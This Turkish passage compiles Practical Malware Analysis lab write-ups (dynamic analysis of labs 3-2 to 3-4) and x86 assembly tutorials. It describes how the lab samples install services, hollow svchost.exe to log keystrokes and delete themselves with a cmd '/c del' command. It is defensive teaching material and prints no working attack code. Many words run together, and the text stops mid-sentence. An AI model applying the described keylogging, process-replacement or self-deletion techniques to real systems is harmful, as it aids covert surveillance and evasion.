genel olarak yeniden başlatarak yapılabilir ancak o zamanda analiz programlarımız aktif
etmekle uğraşarak ıoc verilerini kaybederiz az önce servisin adını öğrenmiştik hizmetlere
girerek servisi başlatmak daha doğru bir karar olur
cmd komut satırına SERVICES.MSC yazarak hizmetleri başlatabilirsiniz zararlı
hizmetlerimizin üstüne tıklayarak başlatalım ve olacakları izleyelim :)
görüldüğü gibi svchost açıldı ancak daha emin olabilmek adına Find DLL diyerek hedef
odaklı çalışalım
ve bulduk uzerine tıklayarak hangi servismiş görelim görüldüğü üzere konumları ve altında
çalıştırdığı diğer programlarıda görebiliyoruz
satan üzerine geldiğimizde apaçık el sallıyor tabi daha profesyonel yazılımlarda bu kadar
bariz değil ancak niyetini net bir şekilde gözler önüne seriyor :) altında da 2 adet exe
çalıştırıyor
bunu göstererek de 3. sorumuz yani zararlının altında çalıştığı süreci nasıl bulabiliriz yanıtını
vermiş olduk
son sorumuza cevap verecek olursak eğer ağ kaydımız ile Wireshark üzerindeki IOC verilerini
değerlendireceğiz
bağlantı kurduğu adresi bize atanan ıd yi giden gelen verileri de görmüş olduk
PMA LAB 03-03 TEMEL DİNAMİK ANALİZ
Merhabalar, PMA Lab 03-03 zımbırtısını çözeceğiz. Sorulara bi' göz atalım;
İlk soruyla vakit kaybetmeden başlayalım. Bu zararlıyazılımı Process Explorer ile izlerken gözüne ne çarptı
diye sormuş eleman. Ne fark edeceğiz bir bakalım. Öncelikle Process Explorer ve Procces Monitörü açtım
doğal olarak. Process Monitor'de Capture butonuna basarak event log almaya başlayabiliriz artık.
Lab03-03.exe'mizi çalıştırabiliriz artık fakat çalıştırıldıktan sonra Process Explorer'da gözüktüğüne emin
olmalıyız. Subprocess svchost.exe (DLL dosyalarından başlatılan işlemlerin yürütülmesini sağlayan bir
sistem zımbırtısı)'yi oluşturup sona erdirebiliyor burada pek olağan dışı bir şey yok.
Ama aradan 5 saniye geçmeden subprocces event'inde olan svchost.exe'miz orphaned process durumuna
yani resimden de anlaşılacağı üzere üst süreci tamamlanmış olan ama hala çalışan bir sürece dönüşüyor.
Ufak bir şaşkınlıktan sonra ilk soruyu çözdüğümüzü fark ediyoruz. Gözümüze çarpan şey yeni bir
svchost.exe'nin saçma sapan bir şekilde orphaned process olarak kopyalanmasıydı yukarıda da gördüğünüz
gibi. Önümüzde daha 3 soru var yolumuza devam edelim.
İkinci soruda bize yazılımın hafıza değişikliklerini bize gösteriver diyor. Benim burada aklıma direkt
stringlere göz atmak geldi. Yeni svchost.exe'mize sağ tık yapıp özellikler diyor ve string bölümüne
bakıyoruz. Önce image stringlere bakalım;
Şimdi de asıl odağımız memory stringlere;
svchost.exe'nin 2 kısmının da stringlerinin birbirinden çok farklı olduğunu görebiliriz ve bu kadar farkın
olmaması gerekir. Memory string'e baktığımda svchost.exe'nin keylogging faaliyetleri yaptığını gösteren
SetWindowsHookExA adlı stringi görebiliriz. Kötü amaçlı yazılımız muhtemelen daha sonra orphaned
durumuna alınan svchost.exe'yi değiştirmek için process replacement adı verilen bir teknik kullanıyor ve
kötü amaçlı kodla değiştirildikten sonra faaliyetlerine devam ediyor. E ne güzel 2.soruyu da açıklığa
kavuşturduk.
3.soruda bize zararlı yazılımın host-based indicatorlerini yani herhangi bir yerdeki izleri de denebilir. Bu
işlemde Process Monitor'den yardım alacağız. Saçma sapan yerlere kaymayalım diye önce adı svchost olan
eventleri filtreledim.
E burda da practicalmalwareanalysis.log adlı saçma sapan alakasız bir şey çıktı. Zararlı yazılımın
keylogging eventlerini buraya kaydettiği fazlasıyla açık. Böylece 3. soruyu da açıklığa kavuşturmuş olduk.
Son olarak bize programın amacını sormuş. Programın amacıen kısa şekilde svchost.exe yardımı ile hedef
makinede keylogging eventleri gerçekleştirmek.
Bugünkü konum bu kadardı herkese iyi forumlar.
PMA LAB 03-03 TEMEL DİNAMİK ANALİZ
Merhabalar,Blue Teamekibimizlebirlikte buhaftaPractical Malware AnalysiskitabınınBasic
DynamicAnalysisbölümüne aitbölümsonulablarınınçözümlerini gerçekleştiriyoruz.Bende sizlere
Lab 3-4 labınınçözümünügerçekleştireceğim.
Hemenkitabımızdanbirekrangörüntüsüalalım.
Lab-03-4.exe dosyasınıWindowsXPsistemimdeçalıştırarakanalizimize başlayacağım.
NedenXPdiye sorulargeliyor.Öncelikle Githubsayfasındakibukesiti ekleyelimburadalabların
WindowsXPile uyumluolduğunusöylüyor.Laboratuvarlarınbazılarınındaha yeni sürümlerde
çalışmayacağını da göz önünde bulunduralımbusebeptenanalizlerimizde WindowsXPsistemini
kullanıyoruz.
Şimdi XPsistemimizde analiziçinkullanacağımızaraçlarıhazırlayalım.
Hepsi budört araç. Wiresharkile zararlınınağaktivitelerinidinleyeceğiz.ProcessExplorerileçalışan
süreçlerini inceleyeceğiz. ProcessMonitorile zararlınınoluşturacağıregistrykayıtlarını,dosya
aktivitelerini,bağlantılarınıinceleyeceğiz.Regshotilede yine registeryüzerindekideğişimlerini
inceleyeceğizbirazdankendisiylebaşlayacağız.
Regshotile 1stshot diyerekzararlıyazılımıhenüzçalıştırmadananlık olarakregisterynindurumunu
kaydetmesini isteyeceğim. Dahasonrasındazararlıyı çalıştırıp 2st shot diyeceğimve buiki kaydın
compare edilmesiniyani karşılaştırılmasınıyapacakbize regshotyazılımı.
1.kayıt işleminitamamladıktansonrazararlımızıçalıştırıp ortalığı karıştırmasını istiyorum.
Zararlı yazılımı çalıştırdım ve biranda processexplorer’agözattım ilgili sürecineklenmesiyleyok
olmasıbir oldu.Aynızamandaekranabir adetCMD açıldı. Daha sonra zararlıyı çalıştırdığım dizine
baktığımda kendisi oradayoktu.Benburadanbuzararlının çalışır çalışmaz kendini yokettiğini
anladım.Şimdi buolayınanalizini processmonitörile gerçekleştireceğiz.
Tabii bundanönce zararlıyı çalıştırdıktan sonra regshotyazılımında2st shot işlemini de
gerçekleştiriyorum, çokbasitbutonabasıyorsunuzohallediyor.
Bu işleminardından2kaydın karşılaştırmasını yapmakiçin‘compare’butonunabasıyoruzve bize
plaintextformattaraporusunuyor.O rapora enson geleceğiz.Şimdiprocessmonitörile aktivitelere
bir gözatalım ve 1.sorumuzucevaplandıralım.‘Whathappenswhenyourunthisfile?’busorudabize
program çalıştığındanneleroluyordiye soruyor.
E işte program çalışınca kendini siliyor.Şimdi nasıl yapmışbu işlemi bulalım.
Processmonitörüzerinde Lab03-04.exe dosyasınaaitoluşturulanprosesleri filtreliyorum.Buradabize
bir adetkayıt getiriyorbununayrıntısınabakalım.Buradafiltrelerinnasıl uygulanacağınıvideodave
bir önceki konumdaayrıntılıolarakanlattım.
İlgili sürecinayrıntısınabaktığımzaman komutsatırı üzerinde gördüğünüzgibi /cdel komutuile
zararlının bulunduğudizindensilinmeişlemi gerçekleştirilmiş.Yani zararlımızkendini yoketmiş.
Birinci sorumuzuncevabıbukadar.
‘What iscausingthe roadblockindynamicanalysis?’analiziengelleme yöntemlerini soruyor.Burada
aklımıza paketlemevsgibi birişlemgelse de aslındabudeğil.Peidile de paketleme işlemine bakarsak
herhangi birşeygöremeyeceğiz.Buradaanalizinengellemeyöntemiaslındailksorudagerçekleşen
olaylabağlantılı.Zararlıkendini siliyor,pekibuzararlıkendini niye siliyor?Zararlınınçalışmama
durumlarındanbirkaçıkendini hedef birsisteme göre konfigüre etmesiveyabelirli saatdiliminegöre
çalışması olabilir.Bunlarıncevabınıdaaslındauygulamanınstringanalizini yaparakbulabiliriz.
Uygulamanıniçerisindegeçenstringleregözattığımız zamandownload,upload,cmd.exe,/cdel,web
adresi,nothingve softwareMicrosoftXPSstringlerini görüyoruz.Uygulamamızcmd.exeüzerinde
silme işlemi gerçekleştiriyordubunlardazatenstringanaliziyle dinamikanalizinörtüştüğünokta.
Burada dikkatederseniz‘softwareMicrosoftXPS’burasıkayıtdefterinde Local Machine altındayer
alanbir yol burada zararlımız biranahtar oluşturuyorveyakontrol ediyorolabilirve bunagöre
kendini bulunduğusistemde yaçalıştırıyorya da çalıştırmıyor. Nothing,zararlınınhiçbirşey
yapmamasıanlamına geliyor.
Buradaki karakterlerde önemli zararlıkendini system32altınakopyalıyorolabilirtabii çalıştıktan
sonra ancak buradabizimzararlımız kendini yoketti.Aynızamandahemenaltındasaatdilimi ile
alakalıkarakterleryeralıyor,buda zararlınınbir saat diliminihedef aldığıanlamınagelebilir.İkinci
sorumuzundacevaplarınıbu şekilde verebiliriz.
‘Are there otherwaysto run thisprogram?’3.sorumuzdaise programfarklıhangi yollarla
çalıştırılabilirdiye bize soruyor.Programımızfarklıargümanlarlakomutsatırıüzerinde çalıştırılabilir.
Regshotüzerindeki raporadagöz atalım.
Burada zararlı çalıştıktan sonrakayıt defterinde3adet keyeklendiğini,6kaydıneklendiğini,32
değerinmodifiyeedildiğini görüyoruz.
Burada ‘ShellNoRoam’ altındabirçokişlemingerçekleştiğini görüyoruz.Burada‘MUICache’
gözümüze çarpıyor,bununkayıt defteri artifactlerindenbiri olduğunubiliyoruz.Buanahtarımız
program yürütme izlerini kaydediyor.Buanahtarile programınyürütüldüğüyoludagörebiliyoruz.
Bu programın bölüm9 lablarındadaha detaylıinceleneceğini de söylüyor. Bizdeileri seviyestatik
analizeğitimlerimize başladığımızzamanbunatekrardandeğinerekprogramınAssemblyseviyesinde
analizini yaparakdahasağlıklıinceleyeceğiz.
Bu konumuzbukadar, okuduğunuziçinteşekkürler.ZararlıYazılım Analizi kategorisindendiğer
konularımızaulaşabilirsiniz.Lablarıindirebileceğinizadres:
https://github.com/mikesiko/PracticalMalwareAnalysis-Labs
BÖLÜM 5
ASSEMBLY
EĞİTİMİ
ASSEMBLY REGİSTER, KOD YAPISI
Assembly KodYapısı
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
Data Bölümü(Veri Bölümü)=
Veri bölümü, başlatılan verileri veya sabitleri bildirmek için kullanılır. Bu veriler çalışma
zamanında değişmez. Çeşitli sabit değerleri, dosya adlarını veya arabellek boyutunu vb.
bildirebilirsiniz.
Veri bildirme sözdizimi aşağıdaki gibidir =
section.data
Bss Bölümü =
BSS bölümü değişkenleri bildirmek için kullanılır.
BSS bölümünü bildirmekiçin sözdizimi aşşağıdaki gibidir=
section.bss
Text Bölümü(MetinBölümü) =
Metin bölümü gerçek kodu tutmak için kullanılır. Bu bölüm, çekirdeğe programın
yürütülmesinin nerede başladığını bildiren global _start bildirimiyle başlamalıdır.
Metin bölümünün bildirilmesi için sözdizimi =
section.text
global _start
_start:
-------------------------------------------------------------------------------------------------------------------
Assembly Registers
İşlemci işlemleri çoğunlukla veri işlemeyi içerir. Bu veriler bellekte saklanabilir ve oradan
erişilebilir. Bununla birlikte, verileri bellekten okumak ve belleğe depolamak, işlemciyi
yavaşlatır, çünkü veri isteğini kontrol veriyolu üzerinden ve bellek depolama birimine
göndermek ve verileri aynı kanaldan almak için karmaşık işlemleri içerir.
İşlemci işlemlerini hızlandırmak için işlemci, kayıtlar adı verilen bazı dahili bellek depolama
konumlarını içerir.
Kayıtlar, belleğe erişmek zorunda kalmadan veri öğelerini işlemek için depolar. İşlemci çipine
sınırlı sayıda kayıt yerleştirilmiştir.
Processor Register (İşlemci Kayıtları)=
IA-32 mimarisinde on adet 32 bit ve altı adet 16 bit işlemci kaydı vardır.
Kayıtlar üç kategoriye ayrılır =
1- General Registers (Genel Kayıtlar)
2- Control Registers (Kontrol Kayıtları)
3- Segment registers. (Segment Kayıtları)
Genel kayıtlar ayrıcaaşağıdaki gruplara ayrılmıştır =
1- Data Registers (Veri Kayıtları)
2- Pointer Registers (İşaretçi kayıtları)
3- İndex Registers (Dizin Kayıtları)
------------------------------------------------------------------------------------------------
Data Registers (Veri Kayıtları) =
Aritmetik, mantıksal ve diğer işlemler için dört adet 32 bit veri kaydı kullanılır.
Bu 32-bit kayıtları üç şekilde kullanılabilir=
1- Tam 32-bit veri kayıtları olarak: EAX, EBX, ECX, EDX.
2- 32-bit kayıtların alt yarısı dört 16-bit veri kaydı olarak kullanılabilir: AX, BX, CX ve DX.
3- Yukarıda belirtilen dört 16 bit kaydın daha düşük ve daha yüksek yarısı sekiz 8 bit veri
kaydı olarak kullanılabilir: AH, AL, BH, BL, CH, CL, DH ve DL.
Bu veri kayıtlarının bazıları aritmetik işlemlerde özel bir kullanıma sahiptir.
AX birincil akümülatör; giriş/çıkış ve çoğu aritmetik talimatta kullanılır. Örneğin, çarpma
işleminde, bir işlenen işlenenin boyutuna göre EAX veya AX veya AL kaydında saklanır.
BX temel kayıt olarak bilinir, dizinlenmiş adreslemede kullanılabileceği gibi.
CX, sayım kaydı olarak bilinir, ECX olarak, CX kayıtları döngü sayısını yinelemeli işlemlerde
saklar.
DX is known as the data register. Giriş / çıkış işlemlerinde de kullanılır. Ayrıca, büyük
değerleri içeren çarpma ve bölme işlemleri için DX ile birlikte AX kaydı ile birlikte kullanılır.
------------------------------------------------------------------------------------------------
Pointer Registers(İşaretçi Kayıtları) =
Işaretçi kayıtları 32-bit EIP, ESP ve EBP kayıtları ve karşılık gelen 16-bit sağ bölümleri IP, SP ve
BP vardır.
İşaretçi kayıtlarının üç kategorisi vardır =
1- Instruction Pointer (IP) (Talimat işaretçisi) = 16 bit IP kaydı, yürütülecek sonraki talimatın
mahsup adresini saklar. CS kaydı ile birlikte IP (CS: IP olarak), kod segmentindeki geçerli
talimatın tam adresini verir.
2- Stack Pointer (SP) (Yığın işaretçisi) = 16 bit SP kaydı, program yığını içindeki mahsup
değerini sağlar. SS kaydı (SS:SP) ile bağlantılı olarak SP, program yığınındaki verilerin veya
adresin mevcut konumunu ifade eder.
3- Base Pointer (BP) (Temel İşaretçi) = 16-bit BP kaydı esas olarak bir alt yordama geçirilen
parametre değişkenlerine başvurmaya yardımcı olur. SS kaydındaki Adres, parametrenin
konumunu almak için bp'deki ofset ile birleştirilir. BP, özel adresleme için temel kayıt olarak
DI ve sı ile de birleştirilebilir.
-------------------------------------------------------------------------------------------------------------------
Index Registers(DizinKayıtları) =
32-bit Yönerge işaretçisi kaydı ve 32-bit bayrak kaydı birleştirilmiş denetim kayıtları olarak
kabul edilir.
Birçok talimat karşılaştırmalar ve matematiksel hesaplamalar içerir ve bayrakların durumunu
değiştirir ve diğer bazı koşullu talimatlar, kontrol akışını başka bir yere taşımak için bu durum
bayraklarının değerini test eder.
Ortak bayrak bitleri şunlardır:
Owerflow Flag (OF) (Taşma bayrağı) = İmzalı bir aritmetik işlemden sonra yüksek
mertebeden bir bitin (en soldaki bit) veri taşmasını gösterir.
Direction Flag (DF) (Yön bayrağı) = Dize verilerini taşımak veya karşılaştırmak için sol veya
sağ yönü belirler. DF değeri 0 olduğunda, dize işlemi soldan sağa doğru yön alır ve değer 1
olarak ayarlandığında, dize işlemi sağdan sola doğru yön alır.
Interrupt Flag (IF) (Kesme bayrağı)= Harici kesmelerin klavye girişi vb.gibi olup olmadığını
belirler., göz ardı edilecek veya işlenecektir. Değer 0 olduğunda harici kesintiyi devre dışı
bırakır ve 1 olarak ayarlandığında kesmeleri etkinleştirir.
Trap Flag (TF) (Tuzak bayrağı) = İşlemcinin çalışmasını tek adımlı modda ayarlamanıza izin
verir. Kullandığımız hata ayıklama programı tuzak bayrağını ayarlar, böylece bir seferde bir
komut yürütmeyi adım atabiliriz.
Sign Flag (SF) (İşaret bayrağı) = Bir aritmetik işlemin sonucunun işaretini gösterir. Bu bayrak,
aritmetik işlemi izleyen bir veri öğesinin işaretine göre ayarlanır. İşaret, en soldaki bitin
yüksek sırası ile gösterilir. Pozitif sonuç, SF değerini 0'a temizler ve negatif sonuç 1'e ayarlar.
Zero Flag (ZF) (Sıfır bayrak) = Bir aritmetik veya karşılaştırma işleminin sonucunu gösterir.
Sıfır olmayan bir sonuç sıfır bayrağını 0 olarak temizler ve sıfır sonucu 1 olarak ayarlar.
Auxiliary Carry Flag (AF) (Yardımcı taşıma bayrağı) = Aritmetik işlemden sonra bit 3'ten bit
4'e taşıma içerir; özel aritmetik için kullanılır. AF, 1 baytlık bir aritmetik işlem bit 3'ten bit 4'e
taşınmasına neden olduğunda ayarlanır.
Parity Flag (PF) (Parite bayrağı) = Bir aritmetik işlemden elde edilen sonuçtaki Toplam 1 bit
sayısını gösterir. Çift sayıda 1-bit, eşlik bayrağını 0'a temizler ve tek sayıda 1-bit, eşlik
bayrağını 1'e ayarlar.
Carry Flag (CF) (Taşıma bayrağı) = Bir aritmetik işlemden sonra yüksek mertebeden bir bitten
(en soldaki) 0 veya 1'in taşınmasını içerir. Ayrıca, bir kaydırma veya döndürme işleminin son
bitinin içeriğini de saklar.
------------------------------------------------------------------------------------------------
Segment Registers(Segment Kayıtları) =
Segmentler,veri,kodve yığıniçerenbirprogramdatanımlananbelirli alanlardır.
Üç ana bölümvardır =
1- Code Segment (Kod Segmenti) = Yürütülecek tüm talimatları içerir. 16 bit kod segmenti
kaydı veya CS kaydı, kod segmentinin başlangıç adresini depolar.
2- Data Segment (Veri Segmenti) = Veri, sabitler ve çalışma alanları içerir. 16-bit veri
segmenti kaydı veya DS kaydı, veri segmentinin başlangıç adresini depolar.
3- Stack Segment (Yığın Segmenti) = Yordamların veya alt yordamların verilerini ve dönüş
adreslerini içerir. Bir 'yığın' veri yapısı olarak uygulanır. Yığın Kesimi kaydı veya SS kaydı,
yığının başlangıç adresini depolar.
DS, CS ve SS kayıtlarının yanı sıra, verileri depolamak için ek segmentler sağlayan ES (ekstra
segment), FS ve GS gibi başka ekstra segment kayıtları da vardır.Derleme programlamada, bir
programın bellek konumlarına erişmesi gerekir. Bir segment içindeki tüm bellek konumları,
segmentin başlangıç adresine göredir. Bir segment, 16 veya onaltılık 10 ile eşit olarak
bölünebilen bir adreste başlar. Bu nedenle, tüm bu bellek adreslerindeki en sağdaki onaltılık
rakam, genellikle segment kayıtlarında saklanmayan 0'dır. Segment kayıtları, bir segmentin
başlangıç adreslerini saklar. Bir segment içindeki verilerin veya talimatların tam yerini almak
için bir ofset değeri (veya yer değiştirme) gereklidir. Bir segmentteki herhangi bir bellek
konumuna başvurmak için işlemci, segment kaydındaki segment adresini konumun uzaklık
değeriyle birleştirir.
VERİ AKTARIM KOMUTLARI
Merhabalar,Blue TeamekibimizleberaberAssemblydersserimizibaşlattık.İleri seviye malware
analizkonularıöncesi Assemblybilgisinesahipolmamızgerekiyor. Bensize bukonudaAssemblyde
veri aktarım komutlarındanbahsedeceğim.Örneklerimi x86ve 8086 mimarilerine göre yapacağım.
MOV KOMUTU
MOV komutuişlevolarakkopyalamagöreviniyerinegetiriyor.Verilerinkaydedicilere,belleğe
atılmasını sağlamaktadır. MOV komutuyapı olarak hedeftenkaynağadoğrudur.
MOV hedef,kaynak
Burada hedef kısmıverininaktarılacağıadresi ifade ederkenkaynakise aktarılacakveri anlamına
geliyor.Üstdüzeydillerdeki değişkenkavramınıaslındabuolayabenzetebiliriz.Örneğin birdeğişkene
5 değerini atıyorsunuzhedefinizatanandeğişken,kaynağınızise atanandeğeroluyor.
Burada şu ayrıntıya da dikkatedelimkaynaktanhedefeaktarımyapılırkenkaynağındeğeri asla
kaybolmaz. Tıpkı masaüstünde yeralandosyayıkopyalayıpfarklıbirdizinde yapıştırmakgibi
düşünebiliriz.Heriki taraftaveriye sahipoluyor.MOV komutumuzlaalakalıbirkaçörnekyazıp
konuşmayadevamedelim.
Burada hedefimEAXregisterı(Registerlarile ilgili ayrıbirkonumuzbulunmaktadır.Assembly
kategorisinegözatabilirsiniz.) kaynağımise 25hdeğeri hexadecimal olarak25 değerini EAX
registerınaaktarıyor.
Burada 4142 değerini yineaynışekildeEAXregisterınaaktarıyorum.10 ve 2E değerlerininregister
üzerine düştüğünügörüyoruz.
EAX registerınasignedsayıtipindebaktığımzaman4142 değerini netbirşekilde görebiliyorum.Bunu
daha netbir şekildeEMU8086 emulatörümüaçarakdasize göstermekistiyorum.
Burada 8086 mimarisindeişlemyaptığımiçinAXyazıyorum.Buregisterımdakendi içerisinde 8bitlik
iki bölüme ayrılıyor.Sol taraftaregisteralanınabaktığım zamanH ve L bölümleri yani AH,AL
registerlarınasırayla10 ve 2E değerleriyani gönderdiğim4142 değerleri düşmüş.Şualanlarabir
tıklayıpgörmedenönce sağtarafta MOV AX,102Eh atamasını görüyorum.Benimgönderdiğim4142
değeri hexadeciimal olarakAX’eatanıyor.
Burada registerımagönderdiğimdeğerlerinhex olarakyazıldığınıve decimal olarakdakarşılıklarını
görüyorum.
Burada 10 ve 2E hexadecimal değerlerinascii karşılıklarıdabu şekilde.Bukavramlardakafanızdasoru
işareti kalıyorsaASCII,Hexadecimal,decimal,sayıtabanları,gösterimlerkonularınagözatmanızda
faydavar.
E mademregisterahexadecimal ekleyerekatıyorsunbizde 4142h diyerekhexadecimal olarakdirekt
4142 değerini registerdagörmekisteyebiliriz.
Aynı olayı8086 mimarisine uygunolarakgörseldeki gibiyazıyorum.Buradakodumusinglestep
diyerekadımadım işleyipregisterlarımıinceliyorum.Zatenilkstepde movkomutuile kopyalama
işleminigerçekleştiriyor.
Stepback komutuile atamaişleminigerçekleştirmedendurumabaktığımzaman1001 ve 1002 offset
değerlerinde 42ve 41 hexadecimal değerlerimigörüyorum.Yani buoffsetler birsonraki stepde
işlenecek.
RAMüzerinde ilgili değerlerimi görüyorum.
Yukarıdaki kod bloğunuincelersekilkolarakax registerına5 daha sonra4 değeri sıraylaatanacaktır.
İlkblokgerçekleştive ax 5 değerini aldı.Dahadoğrubir ifadeyle8bitlikbuveri 8 bitlikALregisterına
düşüyor.
Tekrar stepdedikve 4 değerininALiçerisinedüştüğünügörüyoruz.Buradaki olaydalittle endian,big
endiankavramlarınıçağrıştırıyor, ilerde bahsedilecektir.Buörnekler,kullanımlarçeşitlendirebilirbiz
diğerkomutlarımızageçelim.
XCHG KOMUTU
Bu da takasçımız diyebilirim.Yada benimolanısana,seninolanıbanaveriyorda diyebilirim.Örneği
göndergelsin.
Anlatmayagerekyokişte görüyorsunuz.EAXve ECXdeğerlerini birbiriyle takasetmişler.
INC – DEC KOMUTLARI
Burada EAXregisterı5 değerine sahipkeninckomutuile değeri 1artıyor ve 6 oluyor.Buradadirekt
programı run ettiğimdendolayıdoğal olarakincedilmişhalinidirektgörüyorum.Debuggervasıtasıyla
Stepstepincelersem5değeri ile açılışıyapıp 6 ile kapanışyaptığını görebilirim.DECkomutuise tam
tersi azaltmaişleminiyapıyor.
LEA KOMUTU
Burada sayilaradındadefine byte yani 1byte=8bitlikdeğerlere sahiphexadecimaldeğerleri tutanbir
dizimvar.Lea komutuise bx registerınasayilardizisininoffsetiniyani başlangıçdeğeri olan10h
değerini atıyor.Yani bukomutumuzkaynağınoffsetdeğerini hedefe aktarır.
XLAT KOMUTU
Şimdi buradaadım adım açıklarsam BX registerınasayilarınoffseti yani 25değeri taşınıyor.mov
komutual içine 1 atıyor ve xlatbu değeri 1artırıyor ve bu da sayilardizisi içindekiilkofsettensonra
gelen26 değerini al içerisine kopyalıyor.
Temel olarakaktarabileceğimveri aktarımkomutlarıbuşekildeydi.Okuduğunuziçinteşekkürler.
ADRESLEME MODLARI
X86 Assembly Adresleme Modları
Bu haftaki konumuz X86 Assembly Adresleme Modları hakkında olacak. İlk olarak X86 ve
X86 Assembly terimlerine ayrı ayrı değinmemiz gerekiyor.
X86 Nedir?
İntel'in 8086 işlemcisini merkez alan bir işlemci mimarisidir. İntel ve AMD işlemciler bu
mimariyi kullanmaktadır. Bu yüzden pazarın %90'ını bu mimari oluşturmaktadır.
X86 mimarisini kullanan işlemciler genelde aynı komut setlerini kullanır.
X86 Assembly Nedir?
X86 mimarisine sahip işlemcilere uyumlu olan Assembly dili demektir. Assembly hakkında
biraz detaya inecek olursak Assembly, alt seviye dillerden biridir yani makine diline yakındır
ve İngilizce sözcüklerin kısaltmasından oluşmuştur. Assembly genellikle karmaşık programlar
yazmak için kullanılıyor. Performans odaklı ve hafıza üzerinde az yer kaplar.
Assembly platformdan bağımsız, hedef bilgisayar mimarisine sıkı sıkıya bağlı bir dildir.
Bilgisayar üzerinde direkt müdehale imkanı tanır.
Assembly diğer programlama dilleri ile genellikle yapamayacağımız bir çok şeyi yapma
imkanı sunar. Özellikle siber güvenlik alanında;
 Program ve işletim sistemlerinin güvenlik açıklarını görmek,
 Şifre kırma, hacking işlemleri,
 Malware ve anti-malware programları yazmak için kullanılabiliyor.
Ayrıca Assembly dilini makine koduna çeviren programlara Assembler denir. Assembler
birebir dönüşüm yapmaktadır. Bu yüzden derleyicilerden ayrılırlar.
Konumuza dönecek olursak.. Adresleme modları memory'nin nasıl kullanıldığının,
memory'ye nasıl erişileceğini ve verilerin memory'ye nasıl yerleştirileceğini belirler.
X86 Assembly'de doğru bir yazılım geliştirmek ve işleyişi tam olarak anlamak için her bir
komut için adresleme modunu bilmek gerekir.
Adresleme yöntemlerinin fazla olması high-level dillerdeki karmaşık işlemlerin daha kolay
bir şekilde yerine getirilmesine olanak tanır.
Adresleme modlarını 3 farklı kategoride inceleyebiliriz.
 Veri Adresleme
 Program Adresleme
 Yığın Adresleme
Veri Adresleme Modları
Registerlar arasında ve register ile memory arasında yapılan 8,16 veya 32 bitlik veri aktarımı
işlemlerinde MOV komutunun kullanıldığı adresleme yöntemidir. Kendi içerisinde yediye
ayrılır.
1. Register Addressing(Saklayıcı/kaydedici Adresleme)
2. Immediate Addressing(İvedi Adresleme)
3. Direct Addressing(Doğrudan Adresleme)
4. Register Indirect Addressing(Kaydediciye Dayalı Adresleme)
5. Base-Plus-Index Addressing(Baz-Artı-İndis Adresleme)
6. Register Relative Addressing(Kaydediciye Dayalı Göreceli Adresleme)
7. Base Relative-Plus-Index Addressing(Baz Göreceli-Artı-İndis Adresleme)
Bunlara başlamadan önce MOV komutunu hatırlayalım
MOV AX,BX MOV > Opcode(Operasyon kodu) mikroişlemciye hangi
operand operasyonun çalıştırılacağını belirtir.
AX > Destionation(Hedef)
BX > Source(Kaynak)
 Veri aktarım yönü hedef > kaynak
 Operand(işlem fonksiyonu)
1.RegisterAddressing(Saklayıcı/kaydedici Adresleme)
Bu adresleme modunda kaynak ve hedef operand'ın her ikisi de 8086 register'larıdır. Yani
mikroişlemcinin iç register'ları arasında işlemler gerçekleştirilir.
Bu yüzden memory ile erişim yapılmaz. Memory ile erişim yapılmadığı için çok hızlıdır.
Örnek:
MOV AL,BH > BH, AL'ye kopyalanır.(İkisi de 8-bit register'dır.)
MOV AX,DX > DX, AX'e kopyalanır.(İkisi de 16-bit register'dır.)
* 8,16 veya 32 Bit register'lar olabilir ama karışık kullanılamaz.
Örnek:
MOV AL,BX > Şeklinde kullanılamaz.Sebebi AL 8-bit register, BX ise
16-bit register olmasıdır.
8-bit Register = AH,AL,BH,BL,CH,CL,DH,DL
16-bit Register = AX,BX,CX,DX,SP,BP,SI,DI
32-bit Register = EAX,EBX,ECX,EDX
Not: Daha fazlası var.
* Bir segment saklayıcısından diğerine adres aktarımı için MOV komutu kullanılamaz.
Örnek:
MOV ES,DS > Şeklinde kullanılamaz.Sebebi segment'den segmente bir
aktarım vardır.
* CS registerı hedef konumda olamaz. Yani MOV komutu ile değiştirilemez. Sebebi
yürütülecek olan bir sonraki komutun adresi CS:IP çifti tarafından belirlenmektedir. CS
registerı değiştirilirse yürütülecek bir sonraki komutun adresi belirsiz olacaktır.
Örnek:
MOV CS,AX > Şeklinde kullanılamaz.CS registerı hedef konumda.
2.Immediate Addressing(İvedi Adresleme)
Kaynak operand sabit bir veri olmalıdır. Bu sabit veri hedef registera aktarılır.
Immediate(hemen, acil anlamı vardır.) kelimesi heksadesimel opcode'dan(Operasyon kodu,
buradaki örneklerde mov) hemen sonra gelen hafıza satırındaki verinin kullanılmasını ifade
eder.
* Immediate veriler sabittir, zaten yukarıda bahsetmiştik. Register'dan veya hafıza satırından
okunan veriler, değişken verilerdir.
Not: Herhangi bir sabit, ilk operand'ın(yani hedef operand) uzunluğundan daha büyük bir veri
olamaz, ama daha küçük olabilir.
* Segment register'lar ve flag register'lar ilk operand'da(hedef operand'da) kullanılamaz.
Örnek:
MOV AL,23 > 23(Decimal) AL register'ına kopyalandı.
MOV BX,77H > 77H(Hex veriler sonunda h harfiyle belirtilir.) BX
register'ına kopyalandı.
3.Direct Addressing(Doğrudan Adresleme)
Doğrudan bir adres değeri kullanılır. Bir adresten bir registera veri aktarımı gerçekleştirilir.
Özet olarak operand'lardan birisi adres belirtir.
MOV Register,Memory veya Memory,Register
Örnek:
MyAddress DW,32H > MyAddress bir adrestir. 32H bu adresin içindeki
değerdir.
MOV AX,MyAddress > MyAddress içerisindeki değeri AX register'ına at
Bu işlemi direkt olarak şu şekilde de yapabilirdik:
MOV AX,[32H]
Not: [..] sembolü Assembly dilinde dolaylı adresleme için kullanılır.
4.RegisterIndirect Addressing(Kaydediciye Dayalı Adresleme)
BX,BP,DI,SI register'ları ile hafızanın herhangi bir yerinde bulunan bir veri adreslenir.
BX,DI,SI > DS'de bulunan veriyi adreslemektedir.
BP ise > SS'de bulunan bir hücre adreslenmiş olur.
Örnek:
MOV AL,[BX] > DS alanında bulunan ve BX ile adreslenen veriyi AL'ye
kopyala
MOV [BP],CL > BP ile adreslenen SS alanindaki hafıza hücresine CL'yi
kopyala
5.Base-Plus-Index Addressing(Baz-Artı-İndis Adresleme)
Baz register'da(BP veya BX) bulunan degere indis register'larda(DI veya SI) bulunan değer
ilave edilerek bulunan değerin işaret ettiği hafıza adresindeki veri ile register'da bulunan veri
arasında yapılan transferi gerçekleştirir.
Buradaki baz register'lar, bir hafıza dizisinin başlangıç adresini, indis register'lar ise dizideki
verinin göreceli pozisyonunu tutar.
MOV Register,[Baz Register + İndis Register]
Örnek:
MOV CL,[BP+SI] > SS alanında bulunan ve BP + SI toplamı ile adreslenen
